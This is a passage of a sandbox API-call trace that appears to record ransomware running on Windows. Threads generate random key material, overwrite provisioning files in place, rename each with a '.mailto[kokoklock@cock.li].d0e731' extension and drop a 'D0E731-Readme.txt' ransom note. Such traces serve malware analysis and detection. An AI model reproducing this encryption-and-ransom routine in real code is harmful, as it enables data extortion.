Size=0x20) returned 0x55dd970 [0085.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.592] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x2dc3f808, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2dc3f808*=0x720, lpOverlapped=0x0) returned 1 [0085.592] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dc3f7d0 | out: lpNewFilePointer=0x0) returned 1 [0085.592] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x2dc3f804, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2dc3f804*=0x720, lpOverlapped=0x0) returned 1 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.592] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dc3f800, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2dc3f800*=0x20, lpOverlapped=0x0) returned 1 [0085.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2dc3f82c*=0x8, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x2dc3f844*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x2dc3f844*, lpNumberOfBytesWritten=0x2dc3f82c*=0x4, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2dc3f82c*=0x4, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2dc3f82c*=0x6c, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2dc3f82c*=0x20, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dc3f82c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2dc3f82c*=0x4, lpOverlapped=0x0) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd790) returned 1 [0085.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.593] CloseHandle (hObject=0x7c4) returned 1 [0085.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.593] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.594] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.594] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.595] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0085.595] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.595] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.595] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.597] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2dc3f828, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2dc3f828*=0x481, lpOverlapped=0x0) returned 1 [0085.597] CloseHandle (hObject=0x7c4) returned 1 [0085.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482338) returned 1 [0085.598] RtlExitUserThread (Status=0x1) Thread: id = 1312 os_tid = 0x1224 [0085.599] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20 [0085.599] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.599] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.599] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2dcbfb84 | out: lpFileSize=0x2dcbfb84*=2309) returned 1 [0085.599] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x901, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.599] ReadFile (in: hFile=0x7c4, lpBuffer=0x2dcbfb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x2dcbfb58*, lpNumberOfBytesRead=0x2dcbfb54*=0x4, lpOverlapped=0x0) returned 1 [0085.602] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd790 [0085.603] NtQuerySystemTime (in: CurrentTime=0x2dcbfb30 | out: CurrentTime=0x2dcbfb30*=132121176434922741) returned 0x0 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x4ebd5542 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xcaadf0d5 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xf637c712 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x8cfc2f67 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x908fc0b2 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x9ca3dc94 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xf401d9b4 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xb79d79cb [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x569c191 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x42e9f5fe [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x88f6caf2 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x51760d1b [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x594f7875 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x94bc1cc3 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xd29138cf [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xb6d88ac9 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x1f695ec2 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xebfc852f [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x673b9e36 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xdc3cdb4 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xcc1785b9 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xd42c4999 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xfd158a61 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x3e0e079c [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x4bface11 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x7ab69fda [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x21663048 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x2641ae4c [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x81d7e13b [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xd83f95c6 [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0xd321067d [0085.603] RtlRandom (in: Seed=0x2dcbfb3c | out: Seed=0x2dcbfb3c) returned 0x3377c7de [0085.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.661] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x905, lpNumberOfBytesRead=0x2dcbfb30, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2dcbfb30*=0x905, lpOverlapped=0x0) returned 1 [0085.662] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcbfaf8 | out: lpNewFilePointer=0x0) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x905, lpNumberOfBytesWritten=0x2dcbfb2c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2dcbfb2c*=0x905, lpOverlapped=0x0) returned 1 [0085.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dcbfb28, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2dcbfb28*=0x20, lpOverlapped=0x0) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2dcbfb54*=0x8, lpOverlapped=0x0) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x2dcbfb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x2dcbfb6c*, lpNumberOfBytesWritten=0x2dcbfb54*=0x4, lpOverlapped=0x0) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2dcbfb54*=0x4, lpOverlapped=0x0) returned 1 [0085.662] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2dcbfb54*=0x6c, lpOverlapped=0x0) returned 1 [0085.663] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2dcbfb54*=0x20, lpOverlapped=0x0) returned 1 [0085.663] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dcbfb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2dcbfb54*=0x4, lpOverlapped=0x0) returned 1 [0085.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd7b8) returned 1 [0085.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.663] CloseHandle (hObject=0x7c4) returned 1 [0085.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.663] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" [0085.663] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.663] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.664] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0085.664] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.664] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483888) returned 1 [0085.665] RtlExitUserThread (Status=0x1) Thread: id = 1313 os_tid = 0x1228 [0085.667] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.668] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.668] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.668] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2dd3fd08 | out: lpFileSize=0x2dd3fd08*=3308) returned 1 [0085.668] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xce8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.668] ReadFile (in: hFile=0x7c4, lpBuffer=0x2dd3fcdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x2dd3fcdc*, lpNumberOfBytesRead=0x2dd3fcd8*=0x4, lpOverlapped=0x0) returned 1 [0085.670] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd7b8 [0085.670] NtQuerySystemTime (in: CurrentTime=0x2dd3fcb4 | out: CurrentTime=0x2dd3fcb4*=132121176435703801) returned 0x0 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x127e0180 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xf98318d7 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x28632a80 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x2b6bfd5b [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xb1e36254 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x1cbe4e80 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xd79de4e2 [0085.670] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xc5594045 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x35abaa61 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x4ee8344f [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x6d9727cc [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x35644c3f [0085.671] 